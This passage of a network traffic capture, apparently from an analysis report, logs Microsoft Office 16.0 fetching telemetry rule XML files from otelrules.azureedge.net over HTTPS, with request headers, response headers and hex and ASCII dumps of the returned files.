Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	60349	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:35 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: f96acd97-a01e-000d-6d86-36d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045735Z-164f84587bfs5tz9hC1DFW9a3w00000005eg000000005whd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	60350	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:35 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045735Z-1866b5c5fbbb286shC1DFWx97800000001pg00000000m64x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	60352	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:36 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045736Z-1866b5c5fbblmqrkhC1DFWf9ns00000003c000000000f2ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	60353	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:36 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: bdfc7973-a01e-0050-44c4-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045736Z-1866b5c5fbbzzh8chC1DFWdrc40000000530000000001v9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	60354	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:36 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: e670145d-b01e-003d-3cc7-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045736Z-164f84587bfrrmqdhC1DFWvu6s00000003yg0000000087ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	60355	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:36 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: b85c485e-e01e-00aa-4976-36ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045736Z-164f84587bf7k72dhC1DFWvczs000000057000000000n658 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	60351	40.69.42.241	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:36 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-11-18 04:57:36 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 04:57:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	60356	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:36 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:36 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a62daa21-301e-0096-7fca-36e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045736Z-164f84587bflm48hhC1DFW0nf8000000025g000000002f7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:36 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	60357	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:37 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045737Z-16547b76f7f64d6whC1DFWf9vn00000003z0000000004t3s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:37 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	60358	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:37 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045737Z-16547b76f7f7zzl8hC1DFWmtag000000045000000000fzz7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:37 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	60359	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045737Z-16547b76f7fm8pcwhC1DFWaxcc00000003e000000000847a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:37 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	60360	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045737Z-164f84587bffvwt9hC1DFW2ktw0000000320000000009xa2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	60361	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:37 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
